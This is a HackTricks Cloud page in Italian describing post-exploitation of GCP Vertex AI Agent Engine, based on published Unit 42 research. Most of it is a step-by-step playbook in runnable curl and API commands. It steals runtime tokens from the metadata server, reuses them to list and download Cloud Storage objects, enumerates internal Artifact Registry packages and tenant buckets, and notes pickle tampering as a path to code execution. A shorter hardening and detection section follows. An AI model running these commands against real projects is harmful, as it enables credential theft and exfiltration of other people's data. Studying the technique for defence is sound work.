GCP - Vertex AI Post Exploitation
Tip
Impara & pratica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Impara & pratica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Impara & pratica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Sostieni HackTricks
- Controlla i subscription plans!
- Unisciti al 💬 Discord group o al telegram group o seguici su Twitter 🐦 @hacktricks_live.
- Condividi hacking tricks inviando PRs ai HackTricks e HackTricks Cloud github repos.
Vertex AI Agent Engine / Reasoning Engine
Questa pagina si concentra sui workload di Vertex AI Agent Engine / Reasoning Engine che eseguono strumenti o codice controllati dall’attaccante all’interno di un runtime gestito da Google.
Per il riepilogo generale di Vertex AI consulta:
Per i percorsi classici di Vertex AI privesc che utilizzano custom jobs, models e endpoints consulta:
Perché questo servizio è speciale
Agent Engine introduce un pattern utile ma pericoloso: codice fornito dallo sviluppatore che viene eseguito all’interno di un runtime gestito da Google con un’identità gestita da Google.
I confini di trust rilevanti sono:
- Consumer project: il tuo progetto e i tuoi dati.
- Producer project: progetto gestito da Google che opera il servizio backend.
- Tenant project: progetto gestito da Google dedicato all’istanza dell’agent distribuita.
Secondo la documentazione Vertex AI IAM di Google, le risorse Vertex AI possono utilizzare Vertex AI service agents come identità delle risorse, e quei service agents possono avere accesso in sola lettura a tutte le risorse Cloud Storage e ai dati di BigQuery nel progetto per impostazione predefinita. Se il codice eseguito all’interno di Agent Engine riesce a rubare le credenziali del runtime, quell’accesso predefinito diventa immediatamente interessante.
Percorso principale di abuso
- Distribuire o modificare un agent in modo che codice o strumenti controllati dall’attaccante vengano eseguiti all’interno del runtime gestito.
- Interrogare il metadata server per recuperare l’identità del progetto, l’identità del service account, gli scope OAuth e i token di accesso.
- Riutilizzare il token rubato come Vertex AI Reasoning Engine P4SA / service agent.
- Pivottare nel consumer project e leggere i dati di storage a livello di progetto consentiti dal service agent.
- Pivottare negli ambienti producer e tenant raggiungibili dalla stessa identità.
- Enumerare i pacchetti interni di Artifact Registry ed estrarre artefatti di deployment del tenant come
Dockerfile.zip,requirements.txtecode.pkl.
Non si tratta solo di un problema “eseguire codice nel proprio agent”. Il problema chiave è la combinazione di:
- credenziali accessibili tramite metadata
- ampie privilegi predefiniti dei service-agent
- ampi scope OAuth
- confini di trust multi-progetto nascosti dietro un singolo servizio gestito
Enumerazione
Identify Agent Engine resources
Il formato del nome delle risorse utilizzato da Agent Engine è:
projects/<project-id>/locations/<location>/reasoningEngines/<reasoning-engine-id>
Se hai un token con accesso a Vertex AI, enumera direttamente la Reasoning Engine API:
PROJECT_ID=<project-id>
LOCATION=<location>
curl -s \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://${LOCATION}-aiplatform.googleapis.com/v1/projects/${PROJECT_ID}/locations/${LOCATION}/reasoningEngines"
Controlla i log di deployment perché possono causare il leak di percorsi interni producer di Artifact Registry usati durante il packaging o l’avvio del runtime:
gcloud logging read \
'textPayload:("pkg.dev" OR "reasoning-engine") OR jsonPayload:("pkg.dev" OR "reasoning-engine")' \
--project <project-id> \
--limit 50 \
--format json
La ricerca di Unit 42 ha osservato percorsi interni quali:
us-docker.pkg.dev/cloud-aiplatform-private/reasoning-engine
us-docker.pkg.dev/cloud-aiplatform-private/llm-extension/reasoning-engine-py310:prod
Furto di credenziali dal runtime tramite metadata
Se puoi eseguire codice all’interno del runtime dell’agent, prima interroga la metadata service:
curl -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/?recursive=true'
Campi interessanti includono:
- identificatori del progetto
- l’account di servizio / service agent associato
- gli scope OAuth disponibili al runtime
Quindi richiedi un token per l’identità associata:
curl -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token'
Convalida il token e ispeziona gli scopes concessi:
TOKEN="$(curl -s -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' | jq -r .access_token)"
curl -s \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d "access_token=${TOKEN}" \
https://www.googleapis.com/oauth2/v1/tokeninfo
Warning
Google ha modificato parti del workflow di deployment dell’ADK dopo la pubblicazione della ricerca, quindi gli snippet di deployment esatti potrebbero non corrispondere più all’attuale SDK. Il primitivo importante rimane lo stesso: se codice controllato dall’attaccante viene eseguito all’interno del Agent Engine runtime, le credenziali derivate dai metadata diventano raggiungibili a meno che controlli aggiuntivi non blocchino quel percorso.
Consumer-project pivot: furto di dati del service agent
Una volta rubato il runtime token, verifica l’accesso effettivo del service agent sul consumer project.
La capability di default documentata e rischiosa è un ampio accesso in lettura ai dati del progetto. La ricerca di Unit 42 ha validato specificamente:
storage.buckets.getstorage.buckets.liststorage.objects.getstorage.objects.list
Validazione pratica con il token rubato:
curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b?project=<project-id>"
curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b/<bucket-name>/o"
curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b/<bucket-name>/o/<url-encoded-object>?alt=media"
Questo trasforma un agente compromesso o maligno in una project-wide storage exfiltration primitive.
Producer-project pivot: accesso interno ad Artifact Registry
La stessa identità rubata può funzionare anche contro le Google-managed producer resources.
Inizia testando gli URI dei repository interni recuperati dai log. Poi enumera i pacchetti con l’Artifact Registry API:
packages_request = artifactregistry_service.projects().locations().repositories().packages().list(
parent=f"projects/{project_id}/locations/{location_id}/repositories/llm-extension"
)
packages_response = packages_request.execute()
packages = packages_response.get("packages", [])
Se hai solo un raw bearer token, chiama direttamente la REST API:
curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://artifactregistry.googleapis.com/v1/projects/<producer-project>/locations/<location>/repositories/llm-extension/packages"
Questo è prezioso anche se l’accesso in scrittura è bloccato perché espone:
- nomi delle immagini interne
- immagini deprecate
- struttura della supply-chain
- inventario di package/versioni per ricerche successive
Per ulteriori informazioni su Artifact Registry consulta:
Pivot sul tenant project: recupero degli artifact di deployment
Le distribuzioni di Reasoning Engine lasciano anche interessanti artifact in un tenant project controllato da Google per quell’istanza.
La ricerca di Unit 42 ha trovato:
Dockerfile.zipcode.pklrequirements.txt
Usa il token rubato per enumerare lo storage accessibile e cercare artifact di deployment:
curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b?project=<tenant-project>"
Gli artefatti del progetto tenant possono rivelare:
- nomi di bucket interni
- riferimenti di image interni
- assunzioni sul packaging
- elenchi di dependency
- serialized agent code
Il blog ha inoltre osservato un riferimento interno come:
gs://reasoning-engine-restricted/versioned_py/Dockerfile.zip
Anche quando il bucket ristretto referenziato non è leggibile, quei leaked paths aiutano a mappare l’infrastruttura interna.
code.pkl e RCE condizionale
Se la pipeline di deployment memorizza lo stato eseguibile dell’agent in formato Python pickle, consideralo un obiettivo ad alto rischio.
Il problema immediato è la riservatezza:
- la deserializzazione offline può esporre la struttura del codice
- il formato del package leaks dettagli di implementazione
Il problema più grave è la RCE condizionale:
- se un attaccante può manomettere l’artifact serializzato prima della deserializzazione lato servizio
- e la pipeline poi carica quel pickle
- l’esecuzione di codice arbitrario diventa possibile all’interno del runtime gestito
Questo non è un exploit standalone di per sé. È un pericoloso sink di deserializzazione che diventa critico quando combinato con qualsiasi primitive di scrittura dell’artifact o di manomissione della supply-chain.
OAuth scopes e blast radius di Workspace
La risposta dei metadata espone anche le OAuth scopes associate al runtime.
Se questi scopes sono più ampi del minimo necessario, un token rubato può diventare utile contro più di GCP APIs. IAM decide ancora se l’identità è autorizzata, ma scopes ampi aumentano il blast radius e rendono le successive misconfigurazioni più pericolose.
Se trovi scopes relativi a Workspace, verifica se l’identità compromessa ha anche un percorso verso Workspace impersonation o accesso delegato:
Hardening / detection
Preferire un service account personalizzato anziché l’identità gestita predefinita
La documentazione corrente di Agent Engine supporta la configurazione di un service account personalizzato per l’agent distribuito. Questa è la modalità più pulita per ridurre il blast radius:
- eliminare la dipendenza dall’agent di servizio predefinito e troppo permissivo
- concedere solo i permessi minimi richiesti dall’agent
- rendere l’identità del runtime verificabile e intenzionalmente limitata
Verificare l’accesso effettivo dell’agent di servizio
Ispeziona l’accesso effettivo del service agent di Vertex AI in ogni progetto dove Agent Engine è utilizzato:
gcloud projects get-iam-policy <project-id> \
--format json | jq '
.bindings[]
| select(any(.members[]?; contains("gcp-sa-aiplatform") or contains("aiplatform-re")))
'
Verificare se l’identità associata può leggere:
- tutti i bucket GCS
- i dataset di BigQuery
- i repository di Artifact Registry
- i secrets o registri interni raggiungibili dai workflow di build/deployment
Tratta il codice dell’agent come esecuzione di codice privilegiato
Qualsiasi tool/funzione eseguita dall’agent dovrebbe essere esaminata come se fosse codice in esecuzione su una VM con accesso ai metadati. In pratica ciò significa:
- verificare gli strumenti dell’agent per accessi HTTP diretti agli endpoint dei metadati
- esaminare i log per riferimenti a repository interni
pkg.deve bucket dei tenant - esaminare qualsiasi percorso di packaging che memorizzi stato eseguibile come
pickle
Riferimenti
- Double Agents: Exposing Security Blind Spots in GCP Vertex AI
- Deploy an agent - Vertex AI Agent Engine
- Vertex AI access control with IAM
- Service accounts and service agents
- Authorization for Google Cloud APIs
- pickle - Python object serialization
Tip
Impara & pratica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Impara & pratica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Impara & pratica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Sostieni HackTricks
- Controlla i subscription plans!
- Unisciti al 💬 Discord group o al telegram group o seguici su Twitter 🐦 @hacktricks_live.
- Condividi hacking tricks inviando PRs ai HackTricks e HackTricks Cloud github repos.
HackTricks Cloud

